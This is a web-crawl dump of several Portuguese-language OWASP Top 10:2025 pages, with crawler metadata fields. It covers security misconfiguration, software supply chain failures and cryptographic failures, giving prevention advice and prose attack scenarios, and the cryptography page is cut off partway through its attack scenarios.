ocorre quando um sistema, aplicação ou serviço de nuvem é configurado incorretamente do ponto de vista de segurança, criando vulnerabilidades.\n\nA aplicação pode estar vulnerável se:\n\n- Faltar o endurecimento de segurança ( *security hardening* ) apropriado em qualquer parte da stack da aplicação ou se houver permissões configuradas incorretamente em serviços de nuvem.\n- Recursos desnecessários estiverem habilitados ou instalados (ex: portas, serviços, páginas, contas, **frameworks** de teste ou privilégios desnecessários).\n- Contas padrão e suas senhas ainda estiverem habilitadas e inalteradas.\n- Houver falta de uma configuração centralizada para interceptar mensagens de erro excessivas. O tratamento de erros revela *stack traces* ou outras mensagens de erro excessivamente informativas aos usuários.\n- Para sistemas atualizados, os recursos de segurança mais recentes estiverem desativados ou não configurados com segurança.\n- Houver priorização excessiva da compatibilidade reversa, levando a configurações inseguras.\n- As configurações de segurança nos servidores de aplicação, **frameworks** (ex: Struts, Spring, ASP.NET), bibliotecas, bancos de dados, etc., não estiverem definidas com valores seguros.\n- O servidor não enviar **headers** ou diretivas de segurança, ou se estes não estiverem configurados com valores seguros.\n\nSem um processo de endurecimento (*hardening*) de configuração de segurança de aplicação concentrado e repetível, os sistemas correm um risco maior.\n\n## Como Prevenir\n\nProcessos de instalação seguros devem ser implementados, incluindo:\n\n- Um processo de *hardening* repetível que permita a implantação rápida e fácil de outro ambiente devidamente bloqueado. Os ambientes de desenvolvimento, QA e produção devem ser configurados de forma idêntica, com credenciais diferentes usadas em cada um. Este processo deve ser automatizado para minimizar o esforço necessário para configurar um novo ambiente seguro.\n- Uma plataforma mínima, sem quaisquer recursos, componentes, documentação ou amostras desnecessárias. Remova ou não instale recursos e **frameworks** não utilizados.\n- Uma tarefa para revisar e atualizar as configurações de acordo com todas as notas de segurança, atualizações e **patches** como parte do processo de gerenciamento de **patches** (veja [A03 Falhas na Cadeia de Suprimentos de Software](../A03_2025-Software_Supply_Chain_Failures/) ). Revise as permissões de armazenamento em nuvem (ex: permissões de buckets S3).\n- Uma arquitetura de aplicação segmentada que forneça separação eficaz e segura entre componentes ou usuários ( *tenants* ), com segmentação, conteinerização ou grupos de segurança de nuvem (ACLs).\n- Envio de diretivas de segurança para os clientes, ex: **headers** de segurança.\n- Um processo automatizado para verificar a eficácia das configurações e definições em todos os ambientes.\n- Adição proativa de uma configuração central para interceptar mensagens de erro excessivas como reserva ( *backup* ).\n- Se essas verificações não forem automatizadas, elas devem ser verificadas manualmente, no mínimo, anualmente.\n- Utilize federação de identidade, credenciais de curta duração ou mecanismos de acesso baseados em funções (RBAC) fornecidos pela plataforma subjacente, em vez de incorporar chaves estáticas ou segredos ( *secrets* ) no código, arquivos de configuração ou **pipelines** .\n\n## Exemplos de Cenários de Ataque\n\n**Cenário #1:** O servidor de aplicação vem com aplicações de exemplo não removidas do servidor de produção. Essas aplicações de exemplo têm falhas de segurança conhecidas que os **atacantes** usam para comprometer o servidor. Suponha que uma dessas aplicações seja o console de administração e as contas padrão não foram alteradas. Nesse caso, o **atacante** faz o login com a senha padrão e assume o controle.\n\n**Cenário #2:** A listagem de diretórios não está desativada no servidor. Um **atacante** descobre que pode simplesmente listar os diretórios. O **atacante** encontra e baixa as classes Java compiladas, que ele descompila e faz engenharia reversa para visualizar o código. O **atacante**, então, encontra uma falha grave de controle de acesso na aplicação.\n\n**Cenário #3:** A configuração do servidor de aplicação permite que mensagens de erro detalhadas, como *stack traces*, sejam retornadas aos usuários. Isso potencialmente expõe informações sensíveis ou falhas subjacentes, como versões de componentes que são conhecidamente vulneráveis.\n\n**Cenário #4:** Um provedor de serviços de nuvem (CSP) define por padrão permissões de compartilhamento abertas para a Internet. Isso permite que dados sensíveis armazenados no armazenamento em nuvem sejam acessados.\n\n## Referências\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## Lista de CWEs Mapeadas\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 8152, "slov": 975, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:05", "sha256": "87a5e2890a282b493e5637ec2a190903763eb7c9403ae08780d3bfbff1894638", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Falhas na Cadeia de Suprimentos de Software - OWASP Top 10:2025", "h1": "A03:2025 – Falhas na Cadeia de Suprimentos de Software", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 – Falhas na Cadeia de Suprimentos de Software"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A03:2025 – Falhas na Cadeia de Suprimentos de Software\n\n## Contexto\n\nEsta categoria foi a mais votada na pesquisa da comunidade para o Top 10, com exatamente 50% dos entrevistados classificando-a como a nº 1. Desde sua aparição inicial no Top 10 de 2013 como \"A9 – Utilização de Componentes com Vulnerabilidades Conhecidas\", o risco cresceu em escopo para incluir todas as falhas na cadeia de suprimentos (*supply chain*), não apenas aquelas que envolvem vulnerabilidades conhecidas. Apesar desse aumento de escopo, as falhas na cadeia de suprimentos continuam sendo um desafio para identificação, com apenas 11 vulnerabilidades (CVEs) possuindo as CWEs relacionadas. No entanto, quando testada e reportada nos dados contribuídos, esta categoria apresenta a maior taxa média de incidência, de 5,19%. As CWEs relevantes são *CWE-477: Use of Obsolete Function*, *CWE-1104: Use of Unmaintained Third Party Components*, *CWE-1329: Reliance on Component That is Not Updateable* e *CWE-1395: Dependency on Vulnerable Third-Party Component*.\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## Descrição\n\nFalhas na cadeia de suprimentos de software são interrupções ou outros comprometimentos no processo de construção, distribuição ou atualização de software. Frequentemente, são causadas por vulnerabilidades ou alterações maliciosas em códigos de terceiros, ferramentas ou outras dependências das quais o sistema depende.\n\nVocê provavelmente está **vulnerável** se:\n\n- Você não rastreia cuidadosamente as versões de todos os componentes que utiliza (tanto no lado do cliente quanto no servidor). Isso inclui componentes usados diretamente, bem como dependências aninhadas (transitivas).\n- O software é vulnerável, sem suporte ou desatualizado. Isso inclui o sistema operacional, servidor web/aplicação, sistema de gerenciamento de banco de dados (DBMS), aplicações, **APIs** e todos os componentes, ambientes de **runtime** e bibliotecas.\n- Você não realiza varreduras de vulnerabilidades regularmente e não assina boletins de segurança relacionados aos componentes que utiliza.\n- Você não possui um processo de gerenciamento de mudanças ou rastreamento de alterações em sua cadeia de suprimentos, incluindo o rastreamento de IDEs, extensões e atualizações de IDE, alterações no repositório de código da sua organização, **sandboxes** , repositórios de imagens e bibliotecas, a forma como os artefatos são criados e armazenados, etc. Cada parte da sua cadeia de suprimentos deve ser documentada, especialmente as mudanças.\n- Você não realizou o endurecimento ( *hardening* ) de cada parte da sua cadeia de suprimentos, com foco especial no controle de acesso e na aplicação do menor privilégio.\n- Seus sistemas de cadeia de suprimentos não possuem separação de funções ( *separation of duties* ). Nenhuma pessoa sozinha deve ser capaz de escrever o código e promovê-lo até a produção sem a supervisão de outro ser humano.\n- Componentes de fontes não confiáveis, em qualquer parte da stack tecnológica, são usados ou podem impactar ambientes de produção.\n- Você não corrige ou atualiza a plataforma subjacente, **frameworks** e dependências de maneira oportuna e baseada em riscos. Isso acontece comumente em ambientes onde o **patching** é uma tarefa mensal ou trimestral sob controle de mudanças, deixando as organizações expostas por dias ou meses a riscos desnecessários antes de corrigir as vulnerabilidades.\n- Os desenvolvedores de software não testam a compatibilidade de bibliotecas atualizadas ou corrigidas.\n- Você não protege as configurações de cada parte do seu sistema (consulte [A02:2025 – Configuração Insegura](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- Seu **pipeline** de CI/CD possui segurança mais fraca do que os sistemas que ele constrói e implanta, especialmente se for complexo.\n\n## Como Prevenir\n\nDeve haver um processo de gerenciamento de **patches** para:\n\n- Gerar e gerenciar centralizadamente a Lista de Materiais de Software ( **SBOM** – *Software Bill of Materials* ) de todo o seu software.\n- Rastrear não apenas suas dependências diretas, mas também as transitivas, e assim por diante.\n- Reduzir a superfície de ataque removendo dependências não utilizadas, recursos desnecessários, componentes, arquivos e documentação.\n- Inventariar continuamente as versões de componentes tanto do lado do cliente quanto do servidor (ex: **frameworks** , bibliotecas) e suas dependências usando ferramentas como OWASP Dependency Track, OWASP Dependency Check, retire.js, etc.\n- Monitorar continuamente fontes como CVE ( *Common Vulnerability and Exposures* ), NVD ( *National Vulnerability Database* ) e [Open Source Vulnerabilities (OSV)](https://osv.dev/) em busca de vulnerabilidades nos componentes utilizados. Use ferramentas de análise de composição de software (SCA), cadeia de suprimentos ou ferramentas de **SBOM** focadas em segurança para automatizar o processo. Assine alertas de vulnerabilidades de segurança relacionadas aos componentes que você usa.\n- Obter componentes apenas de fontes oficiais (confiáveis) através de links seguros. Prefira pacotes assinados para reduzir a chance de incluir um componente modificado ou malicioso (consulte [A08:2025 – Falhas de Integridade de Software e Dados](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Escolher deliberadamente qual versão de uma dependência utilizar e atualizar apenas quando houver necessidade.\n- Monitorar bibliotecas e componentes que não possuem manutenção ou que não criam **patches** de segurança para versões antigas. Se a correção não for possível, considere migrar para uma alternativa. Caso não seja viável, considere implantar um **patch** virtual para monitorar, detectar ou proteger contra o problema descoberto.\n- Atualizar regularmente seu CI/CD, IDE e qualquer outra ferramenta de desenvolvimento.\n- Evitar a implantação de atualizações em todos os sistemas simultaneamente. Use implantações em estágios ou *canary deployments* para limitar a exposição caso um fornecedor confiável seja comprometido.\n\nDeve haver um processo de gerenciamento de mudanças ou sistema de rastreamento para monitorar alterações em:\n\n- Configurações de CI/CD (todas as ferramentas de construção e **pipelines** )\n- Repositórios de código\n- Áreas de **sandbox**\n- IDEs de desenvolvedores\n- Ferramental de **SBOM** e artefatos criados\n- Sistemas de registro ( **logging** ) e **logs**\n- Integrações de terceiros, como SaaS\n- Repositórios de artefatos\n- Registros de contêineres\n\nRealize o *hardening* dos seguintes sistemas, o que inclui habilitar MFA e restringir o IAM:\n\n- Seu repositório de código (o que inclui não armazenar segredos, proteger ramificações/ *branches* e realizar backups).\n- Estações de trabalho de desenvolvedores ( **patching** regular, MFA, monitoramento e mais).\n- Seu servidor de build e CI/CD (separação de funções, controle de acesso, builds assinados, segredos com escopo de ambiente, **logs** à prova de adulteração, entre outros).\n- Seus artefatos (garanta a integridade via proveniência, assinatura e carimbo de tempo; promova artefatos em vez de reconstruí-los para cada ambiente; garanta que os builds sejam imutáveis).\n- Infraestrutura como código (gerenciada como qualquer código, incluindo o uso de PRs e controle de versão).\n\nCada organização deve garantir um plano contínuo para monitoramento, triagem e aplicação de atualizações ou mudanças de configuração durante toda a vida útil da aplicação ou portfólio.\n\n## Exemplos de Cenários de Ataque\n\n**Cenário #1:** Um fornecedor confiável é comprometido com malware, levando ao comprometimento dos seus sistemas de computador quando você realiza a atualização. O exemplo mais famoso disso é provavelmente:\n\n- O comprometimento da SolarWinds em 2019, que levou ao comprometimento de aproximadamente 18.000 organizações. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Cenário #2:** Um fornecedor confiável é comprometido de tal forma que se comporta de maneira maliciosa apenas sob uma condição específica.\n\n- O roubo de US$ 1,5 bilhão da Bybit em 2025 foi causado por [um ataque à cadeia de suprimentos em um software de carteira (*wallet*)](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) que só era executado quando a carteira alvo estava em uso.\n\n**Cenário #3:** O [ataque à cadeia de suprimentos `Shai-Hulud`](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) em 2025 foi o primeiro verme (*worm*) npm autopropagável bem-sucedido. Os ataques inseriram versões maliciosas de pacotes populares, que utilizavam um script pós-instalação para coletar e exfiltrar dados sensíveis para repositórios públicos do GitHub. O malware também detectava **tokens** npm no ambiente da vítima e os utilizava automaticamente para publicar versões maliciosas de qualquer pacote acessível. O verme atingiu mais de 500 versões de pacotes antes de ser interrompido pelo npm. Este ataque foi avançado, de rápida propagação e danoso; ao visar máquinas de desenvolvedores, demonstrou que os próprios desenvolvedores são agora alvos principais em ataques de cadeia de suprimentos.\n\n**Cenário #4:** Componentes normalmente rodam com os mesmos privilégios da própria aplicação, portanto, falhas em qualquer componente podem resultar em sério impacto. Tais falhas podem ser acidentais (ex: erro de codificação) ou intencionais (ex: um *backdoor* em um componente). Alguns exemplos de vulnerabilidades exploráveis em componentes descobertos são:\n\n- CVE-2017-5638, uma vulnerabilidade de execução remota de código (RCE) no Struts 2 que permite a execução de código arbitrário no servidor, sendo responsabilizada por violações significativas.\n- CVE-2021-44228 (\"Log4Shell\"), uma vulnerabilidade de dia zero de execução remota de código no Apache Log4j, responsabilizada por campanhas de ransomware, mineração de criptomoedas e outros ataques.\n\n## Referências\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 12643, "slov": 1630, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:06", "sha256": "bde4fc3f53a2183f2edceb2124246156b9b9230e6096f09c2a81ad7aa5035175", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A04_2025-Cryptographic_Failures/", "titulek": "A04 Falhas Criptográficas - OWASP Top 10:2025", "h1": "A04:2025 – Falhas Criptográficas (Cryptographic Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A04_2025-Cryptographic_Failures/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 – Falhas Criptográficas (Cryptographic Failures)"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A04:2025 – Falhas Criptográficas (Cryptographic Failures)\n\n## Contexto\n\nDescendo duas posições para o 4º lugar, esta fraqueza foca em falhas relacionadas à falta de criptografia, criptografia insuficientemente forte, vazamento de chaves criptográficas e erros correlatos. Três das CWEs (*Common Weakness Enumerations*) mais comuns neste risco envolveram o uso de geradores de números pseudoaleatórios fracos: *CWE-327 Use of a Broken or Risky Cryptographic Algorithm*, *CWE-331: Insufficient Entropy*, *CWE-1241: Use of Predictable Algorithm in Random Number Generator* e *CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)*.\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## Descrição\n\nDe modo geral, todos os dados em trânsito devem ser criptografados na [camada de transporte](https://en.wikipedia.org/wiki/Transport_layer) ([camada OSI](https://en.wikipedia.org/wiki/OSI_model) 4). Obstáculos anteriores, como desempenho de CPU e gerenciamento de chaves privadas/certificados, são agora lidados por CPUs que possuem instruções projetadas para acelerar a criptografia (ex: [suporte a AES](https://en.wikipedia.org/wiki/AES_instruction_set)) e pelo gerenciamento de chaves e certificados simplificado por serviços como o [LetsEncrypt.org](https://LetsEncrypt.org), com grandes provedores de nuvem oferecendo serviços de gerenciamento ainda mais integrados para suas plataformas específicas.\n\nAlém de proteger a camada de transporte, é importante determinar quais dados precisam de criptografia em repouso (*at rest*), bem como quais dados precisam de criptografia extra em trânsito (na [camada de aplicação](https://en.wikipedia.org/wiki/Application_layer), camada OSI 7). Por exemplo, senhas, números de cartão de crédito, registros de saúde, informações pessoais e segredos de negócio exigem proteção extra, especialmente se esses dados estiverem sujeitos a leis de privacidade, como a Lei Geral de Proteção de Dados (LGPD) no Brasil ou o GDPR na UE, ou regulamentações como o PCI Data Security Standard (PCI DSS). Para todos esses dados:\n\n- Algum algoritmo ou protocolo criptográfico antigo ou fraco é usado por padrão ou em código legado?\n- Chaves criptográficas padrão estão em uso, chaves fracas são geradas, chaves são reutilizadas ou falta um gerenciamento e rotação de chaves adequados?\n- Chaves criptográficas foram enviadas ( *checked into* ) para repositórios de código-fonte?\n- A criptografia não é imposta? Por exemplo, faltam diretivas de segurança ou **headers** HTTP (no navegador)?\n- O certificado do servidor recebido e a cadeia de confiança são validados corretamente?\n- Vetores de inicialização (IVs) são ignorados, reutilizados ou não são gerados de forma suficientemente segura para o modo de operação criptográfico? Um modo de operação inseguro, como ECB, está em uso? A criptografia simples é usada quando a criptografia autenticada seria mais apropriada?\n- Senhas estão sendo usadas como chaves criptográficas na ausência de uma função de derivação de chave baseada em senha ( *password-based key derivation function* )?\n- É utilizada aleatoriedade que não foi projetada para atender a requisitos criptográficos? Mesmo que a função correta seja escolhida, ela precisa de uma semente ( *seed* ) definida pelo desenvolvedor? E se não, o desenvolvedor sobrescreveu a funcionalidade de semente forte nativa por uma semente que carece de entropia/imprevisibilidade suficiente?\n- Funções de **hash** obsoletas, como MD5 ou SHA1, estão em uso, ou funções de **hash** não criptográficas são usadas quando funções criptográficas são necessárias?\n- Mensagens de erro criptográficas ou informações de canal lateral ( *side channel* ) são exploráveis, por exemplo, na forma de ataques de *padding oracle* ?\n- O algoritmo criptográfico pode sofrer *downgrade* ou ser ignorado ( *bypass* )?\n\nVeja as referências ASVS: Criptografia (V11), Comunicação Segura (V12) e Proteção de Dados (V14).\n\n## Como Prevenir\n\nFaça o seguinte, no mínimo, e consulte as referências:\n\n- Classifique e rotule os dados processados, armazenados ou transmitidos por uma aplicação. Identifique quais dados são sensíveis de acordo com as leis de privacidade, requisitos regulatórios ou necessidades de negócio.\n- Armazene suas chaves mais sensíveis em um HSM ( *Hardware Security Module* ) físico ou baseado em nuvem.\n- Use implementações bem confiáveis de algoritmos criptográficos sempre que possível.\n- Não armazene dados sensíveis desnecessariamente. Descarte-os o mais rápido possível ou use **tokenização** compatível com PCI DSS ou mesmo truncamento. Dados que não são retidos não podem ser roubados.\n- Certifique-se de criptografar todos os dados sensíveis em repouso.\n- Garanta que algoritmos, protocolos e chaves padrão, fortes e atualizados estejam em vigor; utilize um gerenciamento de chaves adequado.\n- Criptografe todos os dados em trânsito apenas com protocolos >= TLS 1.2, com cifras de sigilo direto ( *forward secrecy* - FS), descontinue o suporte a cifras CBC ( *cipher block chaining* ) e suporte algoritmos de troca de chaves quânticas. Para HTTPS, imponha a criptografia usando HSTS ( *HTTP Strict Transport Security* ). Verifique tudo com uma ferramenta.\n- Desative o cache para respostas que contenham dados sensíveis. Isso inclui cache em sua CDN, servidor web e qualquer cache de aplicação (ex: Redis).\n- Aplique os controles de segurança exigidos conforme a classificação de dados.\n- Não utilize protocolos não criptografados, como FTP e STARTTLS. Evite usar SMTP para transmitir dados confidenciais.\n- Armazene senhas usando funções de **hash** adaptativas e salgadas ( *salted* ) com um fator de trabalho (fator de atraso), como Argon2, yescrypt, scrypt ou PBKDF2-HMAC-SHA-512. Para sistemas legados que usam bcrypt, obtenha mais orientações no [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) .\n- Os vetores de inicialização (IVs) devem ser escolhidos de forma apropriada para o modo de operação. Isso pode significar o uso de um CSPRNG ( *cryptographically secure pseudo-random number generator* ). Para modos que exigem um *nonce* , o IV não precisa de um CSPRNG. Em todos os casos, o IV nunca deve ser usado duas vezes para uma chave fixa.\n- Sempre use criptografia autenticada em vez de apenas criptografia.\n- As chaves devem ser geradas de forma criptograficamente aleatória e armazenadas na memória como arrays de bytes. Se uma senha for usada, ela deve ser convertida em uma chave por meio de uma função de derivação de chave baseada em senha apropriada.\n- Garanta que a aleatoriedade criptográfica seja usada onde apropriado e que não tenha sido semeada de forma previsível ou com baixa entropia. A maioria das **APIs** modernas não exige que o desenvolvedor semeie o CSPRNG para ser seguro.\n- Evite funções criptográficas, métodos de construção de blocos e esquemas de preenchimento ( *padding* ) obsoletos, como MD5, SHA1, modo CBC e PKCS#1 v1.5.\n- Garanta que as definições e configurações atendam aos requisitos de segurança, fazendo com que sejam revisadas por especialistas em segurança, ferramentas projetadas para esse fim, ou ambos.\n- Você precisa se preparar agora para a criptografia pós-quântica (PQC), veja a referência (ENISA), para que sistemas de alto risco estejam seguros o mais tardar até o final de 2030.\n\n## Exemplos de Cenários de Ataque\n\n**Cenário #1**: Um site não usa ou não impõe TLS para todas as páginas ou suporta criptografia fraca. Um **atacante** monitora o tráfego de rede (ex: em uma rede sem fio insegura), rebaixa (*downgrade*) as conexões de HTTPS para HTTP, intercepta requisições e rouba o **cookie** de sessão do usuário. O **atacante**, então, replica esse **cookie** e sequestra a sessão (autenticada) do usuário, acessando ou modificando seus dados privados. Em vez disso, ele poderia alterar todos os dados transportados, como o destinatário de uma transferência de dinheiro.\n\n**Cenário #2**: O banco de dados de senhas usa **hashes** sem sal (*unsalted*) ou simples para armazenar as senhas de todos. 